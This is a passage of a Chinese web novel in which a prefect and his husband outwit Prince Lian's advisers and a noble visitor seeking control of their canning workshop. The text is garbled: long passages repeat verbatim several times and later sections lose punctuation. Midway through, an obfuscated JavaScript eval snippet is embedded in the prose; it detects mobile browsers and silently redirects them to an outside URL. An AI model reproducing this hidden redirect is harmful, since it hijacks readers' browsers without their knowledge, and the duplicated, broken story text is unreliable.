廉王那边的几个幕僚相互看看,刚要开口说些什么,门口的孟晚已经小步小步的挪进厅堂,站在宋亭舟后面小声的问:“夫君,这些都是什么人啊?为什么要我作陪?” 宋亭舟侧过头对上孟晚的眼神,再看门口时不时看孟晚一眼,在充满鄙夷的歪嘴冷笑的蚩羽,好像明白过来了什么。他语气温柔的说:“是这几位廉王殿下派来的先生有事找你相商。” 孟晚脊背微微弯下一点,两侧肩膀收紧,下颚抵住抬起的手指,眼珠在眼眶里乱动。嘴巴微张似乎想说些什么,但又不知道问在座的哪位,神情不安到了极点。 看见他这副扭捏姿态,罗霁宁强忍着恶心,好险没吐出来。 妈的,在端王后院看完,好不容易来西梧府又要看,这群**妖能不能死光了? 他心里骂完冷不丁想到自己现在也和面前的小哥儿一样是一个品种,这是把自己也给咒进去了,脸色比吃屎还难看。 偏偏这个时候孟晚在场内用他闪闪躲躲的眼神巡视了一圈,居然迈着微小的步子朝罗霁宁走去,一双白皙的手就这样扶在罗霁宁身上,“这位哥哥,你脸色怎么这么不好看?没事吧?” 孟晚矫揉造作的声音就在罗霁宁耳边响起,电的他浑身发麻。 罗霁宁脸色白的好像怨气冲天的鬼,他一把推开孟晚,“我没事,你快起开!” 他力道就加重那么一丢丢,孟晚便同蒲公英一样柔柔的跌了出去,然后被宋亭舟一把扶住,“晚儿,你没事吧?” 孟晚柔弱的倚在宋亭舟身上,眼睛红成一片,然后伤心不已的开始嘤嘤,“没事,这位哥哥可能是不太喜欢我吧。” 罗霁宁闭上眼睛,深叹一声。 **嘤嘤怪,恋爱脑,**!**!**!!! 罗霁宁实在不想再待下去,这一屋子就没有正常人,那些工坊定是风重依靠宋亭舟的势力建立起来,为了不惹人怀疑故意落在屋里这个嘤嘤怪的名下。 他之前还是想多了,哪个年代都不缺少惊艳才绝的人,宋亭舟虽然恋爱脑,但是实力是有的,在加上有风重这样的能工巧匠帮他,做出水泥、罐头等也不 奇怪。 罗霁宁虽然隐约觉得还有其他蹊跷的地方,但他实在不想进去在面对嘤嘤怪,干脆退了出去,任廉王的幕僚试探宋亭舟。 屋内的幕僚也很嫌弃孟晚的表现,他们尽量避开孟晚,目不斜视的对宋亭舟说:“去年果珍罐在盛京掀起了一阵狂潮,极受大家追捧,甚至还有王孙贵族为了抢夺这么几瓶小小的果珍罐而大打出手的。” 宋亭舟正以拳抵住上翘的嘴角,努力平复下笑意才正色道:“竟有此事吗?果珍罐本来只是当地寻常美食,只是因为工坊的工匠奇思妙想才能远送盛京,引人哄抢着实是有些夸张了。” 孟晚欣喜的说:“果珍罐竟然都卖到盛京了吗?夫君真是厉害,我们现在卖十两银子,不然多卖一两如何?这样我们便能赚更多的银子了!” 宋亭舟略有犹豫,“这……也好,都听晚儿的。” 几名幕僚相互望望,神情中全是对宋亭舟的蔑视,连之前欣赏他的那人也转变了脸色。 虽然功绩了得,却是个只会做实事而不知变通的蠢人罢了。珍罐坊如此重要,竟然听从内宅夫郎的话?真是让人贻笑大方。 “宋大人,你们珍罐坊的果珍罐竟然只卖十两银子吗?可知盛京的果珍罐一瓶以过百两?” 孟晚惊呼出声,“什么?一百两?” “肃静!”领头的幕僚严厉的喝止孟晚大惊小怪。 孟晚咬着下唇,柔弱的倒在宋亭舟肩上,百无聊赖的小声说:“唉,演够了,这几个老头可真烦人。” 廉王派人来打听珍罐坊的事,用脚指头孟晚都能想到他是要做什么,岭南四千里之遥,他为了敛财也是真不嫌远。 眼下最重要的人已经被他恶心到外面去了,剩下这些趾高气扬的幕僚,孟晚想速战速决。 宋亭舟轻拍了两下孟晚的后背,将人护到自己身后,“果珍罐不管在珍罐坊里卖出去确实是十两银子,旁的商人卖多少都与工坊无关。” 几个幕僚听完后冷笑一声,语气高高在上的说道:“你若是与廉王殿下合……” 宋亭舟打断几人的话,“而且珍罐坊的罐子都是太子殿下的人筹备,价格变动也要通知太子殿下才是,本官小小的知府实在是不敢擅自做主。” 哪怕廉王与太子斗得如火如荼,太子殿下毕竟是储君,谁又敢明面上得罪储君? 廉王的幕僚们脸色变化不停,在知道珍罐坊有琉璃后他们便有所猜测,但没想到琉璃坊背后竟然是太子殿下,这就难办了。 花费这么多的时间精力来到岭南,难道要无功而返吗? 众人心里拿不定主意,只能先告辞离开。 罗霁宁不用多问,只看他们脸色就知道自己这边没占到什么便宜,他打量身边身高优越,疑似患有小儿麻痹症的侍卫,临走前没忍住吐槽一句,“你们宋大人的夫郎究竟是何方神圣?宋家的长辈们能忍得下他?” 盛京的老夫人们都是宅斗行家,选的儿媳也个顶个的厉害。宋家的嘤嘤怪一副绿茶小妾做派,在她们手底下甚至都活不过一集,竟然还拿捏住了这位颇有才干的年轻官员全家?怎么能这么梦幻呢? 蚩羽一边嘴角玩命往天上掉,谨遵孟晚教导的口诀,先是重重的哼了一声,然后冷嘲热讽的嘲弄道:“他?哼!给我们大人生了个儿子而已。” 罗霁宁暗暗咂舌,对味了! 按理说,上官下巡,宋亭舟做为当地知府,应该盛情款待一番,可来的是廉王一派,这就有些微妙了。 从盛京上层官员来看,太子虽然替宋亭舟说过几句话,却都是在情理之中的情况,算不得什么太子一派。 然而在廉王**看,宋亭舟与太子一派又有些暧昧,只不过他们只将宋亭舟算作有些出彩的小角色,其实并未看重。 等人走后孟晚脊背一挺,大步转身坐在椅子上,“茶水是府衙的还是他们带来的?” 盛京的人惯爱自己带茶叶,不过不是和孟晚一样怕被下药,而是纯粹为了装B。 “上次我在家里拿来的,碧螺春。”宋亭舟替孟晚斟了一杯。 孟晚多戴两个钗环怪不习惯的,他为了凹人设又选得重工重料,上面叮叮当当堆砌了许多珍珠宝石,坠得他头疼。 卸了两根钗环扔到桌上,孟晚端起茶盏一饮而尽,“他们不会轻易放弃的,珍罐坊的利润不止一家眼红,早晚会有人冒出来,只是没想到是廉王。” 孟晚说着心中有了些别的猜想,或许廉王只是心动,但不至于如此急切,应该是那位罗公子等不及想来验证些什么。 他把驿站递交上来的簿册从怀中掏出来递给宋亭舟,“你看看这个。” 宋亭舟看完后颇为不解,“姓罗,又与廉王关系亲厚,应当是东方世家之首,弦歌——罗氏。可他似乎与那些幕僚的目的不同,像是在找什么人。” 孟晚拨弄着边几上的珠钗,喃喃道:“是啊,他为什么会来咱们西梧府找人呢……” 廉王的幕僚们脸色变化不停,在知道珍罐坊有琉璃后他们便有所猜测,但没想到琉璃坊背后竟然是太子殿下,这就难办了。 花费这么多的时间精力来到岭南,难道要无功而返吗? 众人心里拿不定主意,只能先告辞离开。 罗霁宁不用多问,只看他们脸色就知道自己这边没占到什么便宜,他打量身边身高优越,疑似患有小儿麻痹症的侍卫,临走前没忍住吐槽一句,“你们宋大人的夫郎究竟是何方神圣?宋家的长辈们能忍得下他?” 盛京的老夫人们都是宅斗行家,选的儿媳也个顶个的厉害。宋家的嘤嘤怪一副绿茶小妾做派,在她们手底下甚至都活不过一集,竟然还拿捏住了这位颇有才干的年轻官员全家?怎么能这么梦幻呢? 蚩羽一边嘴角玩命往天上掉,谨遵孟晚教导的口诀,先是重重的哼了一声,然后冷嘲热讽的嘲弄道:“他?哼!给我们大人生了个儿子而已。” 罗霁宁暗暗咂舌,对味了! 按理说,上官下巡,宋亭舟做为当地知府,应该盛情款待一番,可来的是廉王一派,这就有些微妙了。 从盛京上层官员来看,太子虽然替宋亭舟说过几句话,却都是在情理之中的情况,算不得什么太子一派。 然而在廉王**看,宋亭舟与太子一派又有些暧昧,只不过他们只将宋亭舟算作有些出彩的小角色,其实并未看重。 等人走后孟晚脊背一挺,大步转身坐在椅子上,“茶水是府衙的还是他们带来的?” 盛京的人惯爱自己带茶叶,不过不是和孟晚一样怕被下药,而是纯粹为了装B。 “上次我在家里拿来的,碧螺春。”宋亭舟替孟晚斟了一杯。 孟晚多戴两个钗环怪不习惯的,他为了凹人设又选得重工重料,上面叮叮当当堆砌了许多珍珠宝石,坠得他头疼。 卸了两根钗环扔到桌上,孟晚端起茶盏一饮而尽,“他们不会轻易放弃的,珍罐坊的利润不止一家眼红,早晚会有人冒出来,只是没想到是廉王。” 孟晚说着心中有了些别的猜想,或许廉王只是心动,但不至于如此急切,应该是那位罗公子等不及想来验证些什么。 他把驿站递交上来的簿册从怀中掏出来递给宋亭舟,“你看看这个。” 宋亭舟看完后颇为不解,“姓罗,又与廉王关系亲厚,应当是东方世家之首,弦歌——罗氏。可他似乎与那些幕僚的目的不同,像是在找什么人。” 孟晚拨弄着边几上的珠钗,喃喃道:“是啊,他为什么会来咱们西梧府找人呢……” 廉王的幕僚们脸色变化不停,在知道珍罐坊有琉璃后他们便有所猜测,但没想到琉璃坊背后竟然是太子殿下,这就难办了。 花费这么多的时间精力来到岭南,难道要无功而返吗? 众人心里拿不定主意,只能先告辞离开。
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盛京的人惯爱自己带茶叶,不过不是和孟晚一样怕被下药,而是纯粹为了装B。 “上次我在家里拿来的,碧螺春。”宋亭舟替孟晚斟了一杯。 孟晚多戴两个钗环怪不习惯的,他为了凹人设又选得重工重料,上面叮叮当当堆砌了许多珍珠宝石,坠得他头疼。 卸了两根钗环扔到桌上,孟晚端起茶盏一饮而尽,“他们不会轻易放弃的,珍罐坊的利润不止一家眼红,早晚会有人冒出来,只是没想到是廉王。” 孟晚说着心中有了些别的猜想,或许廉王只是心动,但不至于如此急切,应该是那位罗公子等不及想来验证些什么。 他把驿站递交上来的簿册从怀中掏出来递给宋亭舟,“你看看这个。” 宋亭舟看完后颇为不解,“姓罗,又与廉王关系亲厚,应当是东方世家之首,弦歌——罗氏。可他似乎与那些幕僚的目的不同,像是在找什么人。” 孟晚拨弄着边几上的珠钗,喃喃道:“是啊,他为什么会来咱们西梧府找人呢……” 廉王的幕僚们脸色变化不停,在知道珍罐坊有琉璃后他们便有所猜测,但没想到琉璃坊背后竟然是太子殿下,这就难办了。 花费这么多的时间精力来到岭南,难道要无功而返吗? 众人心里拿不定主意,只能先告辞离开。 罗霁宁不用多问,只看他们脸色就知道自己这边没占到什么便宜,他打量身边身高优越,疑似患有小儿麻痹症的侍卫,临走前没忍住吐槽一句,“你们宋大人的夫郎究竟是何方神圣?宋家的长辈们能忍得下他?” 盛京的老夫人们都是宅斗行家,选的儿媳也个顶个的厉害。宋家的嘤嘤怪一副绿茶小妾做派,在她们手底下甚至都活不过一集,竟然还拿捏住了这位颇有才干的年轻官员全家?怎么能这么梦幻呢? 蚩羽一边嘴角玩命往天上掉,谨遵孟晚教导的口诀,先是重重的哼了一声,然后冷嘲热讽的嘲弄道:“他?哼!给我们大人生了个儿子而已。” 罗霁宁暗暗咂舌,对味了! 按理说,上官下巡,宋亭舟做为当地知府,应该盛情款待一番,可来的是廉王一派,这就有些微妙了。 从盛京上层官员来看,太子虽然替宋亭舟说过几句话,却都是在情理之中的情况,算不得什么太子一派。 然而在廉王**看,宋亭舟与太子一派又有些暧昧,只不过他们只将宋亭舟算作有些出彩的小角色,其实并未看重。 等人走后孟晚脊背一挺,大步转身坐在椅子上,“茶水是府衙的还是他们带来的?” 盛京的人惯爱自己带茶叶,不过不是和孟晚一样怕被下药,而是纯粹为了装B。 “上次我在家里拿来的,碧螺春。”宋亭舟替孟晚斟了一杯。 孟晚多戴两个钗环怪不习惯的,他为了凹人设又选得重工重料,上面叮叮当当堆砌了许多珍珠宝石,坠得他头疼。 卸了两根钗环扔到桌上,孟晚端起茶盏一饮而尽,“他们不会轻易放弃的,珍罐坊的利润不止一家眼红,早晚会有人冒出来,只是没想到是廉王。” 孟晚说着心中有了些别的猜想,或许廉王只是心动,但不至于如此急切,应该是那位罗公子等不及想来验证些什么。 他把驿站递交上来的簿册从怀中掏出来递给宋亭舟,“你看看这个。” 宋亭舟看完后颇为不解,“姓罗,又与廉王关系亲厚,应当是东方世家之首,弦歌——罗氏。可他似乎与那些幕僚的目的不同,像是在找什么人。” 孟晚拨弄着边几上的珠钗,喃喃道:“是啊,他为什么会来咱们西梧府找人呢……” 廉王的幕僚们脸色变化不停,在知道珍罐坊有琉璃后他们便有所猜测,但没想到琉璃坊背后竟然是太子殿下,这就难办了。 花费这么多的时间精力来到岭南,难道要无功而返吗? 众人心里拿不定主意,只能先告辞离开。 罗霁宁不用多问,只看他们脸色就知道自己这边没占到什么便宜,他打量身边身高优越,疑似患有小儿麻痹症的侍卫,临走前没忍住吐槽一句,“你们宋大人的夫郎究竟是何方神圣?宋家的长辈们能忍得下他?” 盛京的老夫人们都是宅斗行家,选的儿媳也个顶个的厉害。宋家的嘤嘤怪一副绿茶小妾做派,在她们手底下甚至都活不过一集,竟然还拿捏住了这位颇有才干的年轻官员全家?怎么能这么梦幻呢? 蚩羽一边嘴角玩命往天上掉,谨遵孟晚教导的口诀,先是重重的哼了一声,然后冷嘲热讽的嘲弄道:“他?哼!给我们大人生了个儿子而已。” 罗霁宁暗暗咂舌,对味了! 按理说,上官下巡,宋亭舟做为当地知府,应该盛情款待一番,可来的是廉王一派,这就有些微妙了。 从盛京上层官员来看,太子虽然替宋亭舟说过几句话,却都是在情理之中的情况,算不得什么太子一派。 然而在廉王**看,宋亭舟与太子一派又有些暧昧,只不过他们只将宋亭舟算作有些出彩的小角色,其实并未看重。 等人走后孟晚脊背一挺,大步转身坐在椅子上,“茶水是府衙的还是他们带来的?” 盛京的人惯爱自己带茶叶,不过不是和孟晚一样怕被下药,而是纯粹为了装B。 “上次我在家里拿来的,碧螺春。”宋亭舟替孟晚斟了一杯。 孟晚多戴两个钗环怪不习惯的,他为了凹人设又选得重工重料,上面叮叮当当堆砌了许多珍珠宝石,坠得他头疼。 卸了两根钗环扔到桌上,孟晚端起茶盏一饮而尽,“他们不会轻易放弃的,珍罐坊的利润不止一家眼红,早晚会有人冒出来,只是没想到是廉王。” 孟晚说着心中有了些别的猜想,或许廉王只是心动,但不至于如此急切,应该是那位罗公子等不及想来验证些什么。 他把驿站递交上来的簿册从怀中掏出来递给宋亭舟,“你看看这个。” 宋亭舟看完后颇为不解,“姓罗,又与廉王关系亲厚,应当是东方世家之首,弦歌——罗氏。可他似乎与那些幕僚的目的不同,像是在找什么人。” 孟晚拨弄着边几上的珠钗,喃喃道:“是啊,他为什么会来咱们西梧府找人呢……” 第57章 软硬不吃 孟晚猜得不错廉王的幕僚不会轻易放弃。 储位之争最重要的两点就是钱和权荔枝就像是到嘴边的肥肉这群幕僚既然为廉王办事好狗是不用主子提点也要自行出头的。 西梧府的珍罐坊他们说什么都想撕下一道口子出来。 宋家在吃早饭桂诚从前院过来“大人外面来人送帖子了。” 宋亭舟还在干饭孟晚把帖子接了过来拆开看了眼放在他面前的桌子上“找你的那就是盛京来的那群人喽。” “嗯不急晾一晾也好现在急的是他们。”宋亭舟往孟晚碗里夹了蘑菇肉包“再吃一个。” “也好但你记得别把人逼得急了。”孟晚拿起筷子戳了两下夹起来慢悠悠的啃起了包子。 宋亭舟吃完了去衙门常金花也要带槿姑去店里忙活她看着还在悠哉悠哉喝汤的孟晚奇道:“你今日不出门?” 孟晚将最后一口汤喝完站起来伸了个懒腰“不光今天这阵子我都不出门。” 他对即将出门的常金花说:“娘这几天要是有什么形迹可疑的人去店里你不要说我的好话。” “我不知道什么好话坏话旁人问什么我不说就是了。”常金花不懂他和宋亭舟在外面的弯弯绕绕但有一点不管是在村里、后来到镇上、还是全家搬到府城常金花从没在外面乱说过一句话。 家里上衙门的上衙门去铺子的去铺子 他在书房画了会儿画却始终定不下心来“罗霁宁?” 墨色的笔尖点在画布上的人脸上方孟晚颇为烦心的反复将这三个字写在纸上。 弦歌罗氏一脉和廉王绑在一条船上来意又不甚明朗光看立场绝对是敌非友。 晌午宋亭舟回来后孟晚已经趴在桌子上睡着了墨汁沾染了他的半张脸甚至连发丝都有一缕被弄脏了。 宋亭舟打了一盆清水进屋拿湿帕子一点点的擦拭他脸上和头发上的黑墨。支开的窗户将温煦的日光迎进屋子里映照在深沉厚重的木制家具上使它们焕发新光。 孟晚睫毛轻颤手往上搭上宋亭舟手腕“什么时辰了?” 他既然醒了宋亭舟便加快了手上的动作托起孟晚的脑袋让他 倚在自己身上,然后把他脸颊和头发都擦拭干净,“午时一刻,还想不想睡?” 孟晚随他摆弄,闭着眼睛打了个哈欠,“不睡了,好不容易安静在家,竟然还挺无聊,有点想阿砚了。” 宋亭舟将湿帕子扔进水盆里,“下午叫他回家陪你?” “呵。”孟晚埋在他肩头闷声笑道:“他又不是我们养的宠物,召之即来挥之即去,人家不要上学的?” 两人在家吃了饭休息一阵,说了会儿话。常金花则因为店里生意好,中午在铺子里和伙计厨娘一起吃。 槿姑是个十分心细的人,常金花发现她干活卖力不说,做饭也有些天赋,便把她分派到后厨上工,她自己轻松许多。 午后店里的客人不多,大家坐在店外的桌椅上吃饭,冷不丁走过来两人问路,“婶子,请问石见驿站怎么走?” 常金花抬头望去,见是一位谦谦有礼的小哥儿,带着两个仆人过来问路。她手指指向前面的街道,“前面便是石见驿站的招旗,走过去就是,不远的。” 小哥儿见她们正在吃米粉,抬头又看看铺子上的招牌,“这间铺子是做吃食的?能不能给我们也上三碗你们吃的面条。” 旁边的小工见有生意,端着碗从座位上起身,笑道:“公子,我们吃的不是面条,而是米粉。素的四文,荤的七文,您要素的还是荤的?” 罗霁宁毫不犹豫的说,“三碗荤的。” 等粉的时候他装作不经意的和常金花搭话,“婶子,我来得路上见很多城镇都有驿站,听说是知府大人的夫郎建立的?” “驿站?”常金花心里突然想到早上孟晚说的话,晚哥儿就像算命先生似的,早上刚提点过她,午后就真的有人打听。 若是平常有人搭话,她是不爱理会的,但…… “知府夫郎一个小哥儿哪儿有那么大的本事,驿站是由府城里的许多商户共同一起修建的,他就挂了个名。”常金花头回说瞎话,越说越别扭,心里暗暗后悔,早知道还不如假装没听到。 罗霁宁若有所思的说:“也是,西梧府的商人有果珍罐,是该修建驿站方便长期运送货物。” 米粉很快就好,罗霁宁本来是想从常金花口中打探宋家的消息,但很快思绪又转移到面前的米粉上。 强忍着要保持形象,慢条斯理的把米粉吃的一根不剩,“婶子 这回不用常金花说店里的伙计就把芹婶因为饥荒从老家兴安来西梧府寻亲却没人收留露宿街头。被常金花救助到店里做活后把老家米粉的做法弘扬光大的事给讲了一遍。 看着芹婶老态腼腆的脸罗霁宁突然心中有了一丝触动。他穿越至今一直在怨天尤人觉得自己倒霉透顶。可突然见到米粉的兴起古人简朴的智慧突然心情就平和了不少。 “芹婶是吧不然我带你去盛京城开店每月给你五两银子的工钱如何?” 伙计惊叫出声“五两!” 芹婶愣了愣下意识看了常金花一眼下一秒便毫不犹豫的拒绝道:“谢公子好意但是我现在和孙子现在在西梧府过得很好东家也没少给我们工钱不想去什么盛京城。” “那我若是出钱买你的方子呢?”罗霁宁问。 芹婶更是迷茫“方子?做米粉还要方子?” 米粉的步骤不算太难只是以前没人往这上面去想有大致做法后厨师轻易就能仿照。 罗霁宁只是一时感性的突发奇想从芹婶问明做法后结账时又多给她十两银子做买方子的钱。 常金花晚上回家将这件事和孟晚说了孟晚坐在她屋里的软榻上剥干桂圆脸上没什么意外的表情“夫君官阶越来越高想打探咱们家情况的只会越来越多往后家里下人也要好好约束秋色那样的事在西梧府无伤大雅若是在盛京可是要命的。” 屋子里除了阿砚和通儿什么都不懂其余人都神情一凛常金花问:“晚哥儿今天那人到底是谁啊?” 孟晚一语双关的说:“可能……是我老乡吧。” 他当初是被人牙子从临安府拉去昌平府卖到宋家的这个事只有极少数人知道。 阿砚好奇的说道:“阿爹的老乡?那阿爹想回去吗?” 此言一出宋亭舟和常金花都将头扭向孟晚那头。 孟晚摸了摸儿子的头神情自若的说:“不想我们一家人在一起的地方才是阿爹的家。” 宋亭舟不知为何心头竟然隐隐有松了口气的感觉。 自成亲之后不管孟晚有何种稀奇古怪的想法他从未想过约束孟晚若是孟晚想回临安老家看看他和常金花不可能不同意。然而阿砚 问孟晚想不想回去的时候不知为何他竟然紧张了。 孟晚瞥了他一眼“这几日在家真无聊夫君你明天给我带些点心果子回来。娘明天中午我想吃芹婶做的米粉。小辞府学门口是不是新摆了个卖石花糕的摊子下学记得给我带回来一份。”孟晚挨个点菜。 “我!阿爹我!”阿砚满怀期待的看着孟晚等他对自己下派任务。 “你帮阿爹捶背来。”孟晚配合的说。 阿砚十分积极“阿砚马上来!” 经过阿砚十分专业的按摩之后他自己成功趴在孟晚怀里睡着了。 “夫君你把阿砚抱床上去压得我腿都麻了。”孟晚搂着阿砚的脖子困难得向宋亭舟求救。 阿砚在常金花这里也有床通儿和他今夜都睡这里。 孟晚在家宅了三天廉王的那群幕僚终于忍不住了见帖子请不动人便亲自到府衙邀请宋亭舟。 宋亭舟随他们去了酒楼随那些幕僚拐弯抹角的打机锋自己少言寡语的端坐。 蚩羽带来从衙门里拿来的茶壶当着众人的面给宋亭舟泡茶。 “宋大人这一桌子好酒好菜你不动连茶水也是自带莫不是信不过我们几个?”年纪最大的幕僚面露不悦。 宋亭舟淡定的端起茶盏抿了一口“在家中吃过了诸位先生请便。” 他态度着实称不上尊敬廉王的幕僚们脸色难看但偏偏又不能发作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16073583|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他们刚开始有底气是因为背后站着的是廉王打着若是宋亭舟不识趣就强买强卖的主意。现在知道宋亭舟背后还有太子是不死心过来求他背着太子偷偷和廉王合作的便只能矮下一头来。 毕竟在靠山相差不多的情况下对方是前途光明的四品大员而他们只是几个幕僚而已。 如今他们尚在对方的地盘上若真的得罪了宋亭舟万一对方仗着太子殿下的势对他们出手他们可能连死都不知道**的。 苦劝半晌宋亭舟就是不松口 财宋亭舟不缺酒又不沾那便只有色了。 盛京城里的手段层出不穷西梧府的商人从来都是简单粗暴的直接往宋家送人。他们这群什么上不了台面的阴招都用的幕僚就不一样了。 从酒楼出来后,众人便面上客气两句,然后各自分道扬镳。蚩羽跟在宋亭舟后面,还提了半包用过几次的茶叶。 “救命,救命啊!”两人起马回去,路过一处巷口的时候突然听见有人呼救。 蚩羽武功不错,他比宋亭舟更早听到,“大人,巷子里有人求救!” 宋亭舟与他双双下马,身为当地父母官,宋亭舟不可能见死不救。 蚩羽一马当先冲进巷子,里面两个彪形大汉,正一脸狰狞地撕扯着一位穿着杏色长裙的哥儿。 那哥儿双手不断挥动,白净的小脸上满是惊恐和害怕。口中呼喊“救命”的时候眼泪要坠不坠的在眸子里乱晃,像是含着细碎的光。 艳红色的孕痣生在眼尾,纯净的容颜中掺入了一丝妩媚,使他整个人看起来又纯又欲,格外勾人。 “做什么的!”蚩羽喝道。 两个大汉语气嚣张的说:“做什么?关你什么事,识相的就赶紧滚开!” “救命,救我!”小哥儿看向蚩羽的目光中带着一丝祈求的求救。 宋亭舟站在巷子口,听到那两个大汉不知所谓的挑衅后,对蚩羽吩咐道:“先抓回去。” 两个大汉哈哈大笑,“就凭他?一个哥儿?” 宋亭舟发话后蚩羽也没废话,他招式本来就大开大合,上去就拧住了其中一个汉子的胳膊,“咔哧”一声脆响。巷子里便传出一声凄惨的嚎叫。 两人这才意识到踢到铁板了,转身就想在巷子的另一侧逃走,蚩羽刚要追上去,白衣小哥儿便“嘶”的一声轻呼,他刚才逃跑的时候崴到脚了,现在才知道疼。 蚩羽回头的功夫,那两个大汉已经逃跑了。白衣小哥儿心里松了口气,怎料下一秒蚩羽扔下一句,“大人我马上回来!”就跑上去追人,让他刚松懈的心又紧紧的揪了起来。 但转念一想,巷子里错综复杂,只要那两人拐进谁家院子,保管蚩羽找寻不到,正好还能和这个男人单独相处一会儿。 想是这样想,白衣小哥儿扭头对上宋亭舟漆黑沉静的眸子时,还是没忍住哆嗦了一下。他暗自咽了咽口水——西梧府活阎王,他真能搞定? “大……大哥,多谢……那个多谢您……” “大人!我回来了。” 白衣小哥儿本就紧张,冷不丁蚩羽追人竟然这么快就回来了。只见刚才还活蹦乱跳的两个大汉被他像死猪一样拎在手里,蚩羽一个小哥儿居然还脸不红气不喘的。 “把这三人都带回衙门,问清始末。”宋亭舟转身就走,半个眼神也没分给白衣小哥儿。 白衣小哥儿慌张的说:“大……大人,不必了吧,家人还在等我回家,若是回去晚了,恐怕他们会着急。” “你怎么知道大人是大人。”蚩羽用他蹩脚的官话问道。 白衣小哥儿灵机一动,“我是刚才听你这么叫的。” 巷子里多了三个人就像是多了一分人气,白衣小哥儿的胆子大了一些,他楚楚可怜的哭求道:“大人,多谢你救了草民,但我来西梧府是为了探亲,同这两个歹人问路才被他们带到巷子里欲寻不轨之事。” “嗯,知道了。蚩羽,将他们三个都带去衙门,让陶八逐一审讯。”宋亭舟转身往外走去,把这些琐事都交给属下,自己打马到糕点铺子给孟晚买千层糕。 第58章 车轮 第二天宋亭舟找上廉王的幕僚时这群**喜过望。 “我就说英雄难过美人关。看他夫郎就知道了这个宋知府就喜欢此种腔调的哥儿。” “好好好还是你有办法没想到香哥儿竟然这么中用一晚上就搞定了宋亭舟!” “如今就看香哥儿把宋亭舟迷到哪个份上了。” “若是普通官员就罢了一个哥儿顶不上什么大用但看上次宋亭舟如此纵容夫郎的样子想来也是个沉迷情爱的情痴。” “不错情之一道触之如饮**。咱们此行能为王爷挣得珍罐坊不说没准还能策反宋亭舟。” 几人还在做着美梦等从安置的客栈出门迎来的不是想象中被美色迷惑的宋亭舟而是府衙办事的捕快们。 因为忌惮他们手下的高手宋亭舟还将蚩羽和雪生给派了过来。 “宋大人这是什么意思!”幕僚中的大儒脸色铁青。 雪生抽刀对上幕僚们同行而来的侍卫冷声道:“昨日有刺客欲要行刺大人经审查后刺客一口咬定是诸位先生指派的。我家大人派我等带你们回府衙听候查问还请诸位配合。” 蚩羽在旁附和“对!” 虽然知道这群人是在胡说八道可宋亭舟下了令在西梧府地界就是圣旨。哪怕不情愿他们还是跟着蚩羽他们回了府衙。 等罗霁宁在橡胶坊飘荡了一圈回来这群幕僚已经被下了狱。送上门的把柄就这样被宋亭舟紧紧握在手心 来的不巧了他被宋家的下人领进去的时候年轻有为的知府大人正和他的小夫郎上演古早琼瑶戏码。 孟晚凄凄惨惨得拿着罗帕抹泪眼睛蹭的通红“你娶我的时候说了一生一世一双人如今外头又有了年轻漂亮的哥儿你就嫌弃我了!” 宋亭舟抱着他不让他乱扭木着一张脸说:“你别听外人乱讲我并未与旁人有牵扯。” 孟晚一边挣扎一边乱甩一巴掌拍到宋亭舟下巴上不小心打出个红印子。他拽着宋亭舟转了个身不着痕迹的给他揉了揉“你就学当初柴郡和他那个云哥儿一样不要脸就行了。” 宋亭舟眸子里闪过一丝无奈“我尽量。” 他俩还没发挥完呢罗霁宁就 忍不下去了,“咳咳,宋大人。 罗霁宁眉头拧成个疙瘩,强忍下胃部的不适,勉强扯出抹笑,“孟夫郎也在家啊。 孟晚帕子一甩,扭过身去没搭话,像是与宋亭舟发脾气在迁怒外人。 罗霁宁尬在原地,浑身汗**倒竖,就这个样子要是驿站和工坊的掌权人,他立即原地去世! 宋亭舟先做小伏低的去哄孟晚,“晚儿,你先进去吧,我和旁人有事相商。 孟晚看看宋亭舟,又斜了眼罗霁宁,或是认为对方长得不如自己精致,冷哼一声踏着细碎的步子离去。 终于走了。 罗霁宁浑身紧绷的心弦总算松懈下来,他客套着说:“贵夫郎真是性情中人,上次见我时他还算客气。 上回一口一个哥哥恶心我,这会儿又一副斗鸡的样子,有个什么大病吧! 宋亭舟也好好一个头脑正常的年轻人,是怎么喜欢这种货色的?纯看脸啊? 罗霁宁此时虽然对西梧府的种种疑惑未消,但孟晚是被他首先排除在外了。 宋亭舟邀他进入堂内说话,话里话外都在护短,“我夫郎性格单纯,又被本官娇惯的偶尔闹点小脾气,倒是无伤大雅。 罗霁宁心想这还无伤大雅? 他此次是来给狱里的几个老头求情的,不然他自己回盛京怎么和他的好姐夫交代。 努力把孟晚的形象从他脑海里甩出去,罗霁宁组织好语言,努力附和,“贵夫郎娇俏可爱,极为难得。怕宋亭舟还用彩虹屁夸人, 他忙接着说道:“想必大人也知道我此行来的目的,那些先生毕竟都是赫赫有名的大儒,门人弟子无数,便是行事糊涂得罪了大人,还请看在廉王的面子上高抬贵手。 宋家的下人端上茶水,宋亭舟端起茶杯抿了一口,缓缓说道:“我本就不欲为难诸位先生,只是他们行事毫不顾忌,确实搅得本官家宅不宁。 罗霁宁听他话语里的松动,立即保证道:“宋大人放心,我们此行的目的本就是临安府,只是路过西梧府想与珍罐坊谈笔买卖,不便久留于此。等先生们出狱,我就立即带他们返回临安府。 宋亭舟将小巧的茶杯捏在手中把玩,语气轻描淡写地说:“如此最好不过,那就等诸位启程之时,本官再亲自还几位先生公道吧。 罗霁宁心中了 悟,他们要是不走,看来这位宋大人是不会放人了。 避免出现其他变故,从宋家告辞离开后,罗霁宁立即便吩咐身边的丫鬟小厮收拾行装。 宋亭舟也没食言,这边他们架好马车,那边宋亭舟就手眼通天的将人直接送到了城外。 罗霁宁派去的人刚走出一条街,便又回来禀告,“公子,宋大人已经把人都送到城外去了,说是怕您费事,马车干粮都给安排好了。” “既然如此,那就启程吧。”罗霁宁深深的看了一眼府衙的方向,对宋亭舟的感觉十分复杂。虽然他在感情的事上有些糊涂,但果然不负盛京传言中那样能力出众。 走出西梧府城门,接上在牢里没受半点折磨,反而胖了一圈的幕僚们,罗霁宁突然平和不少。 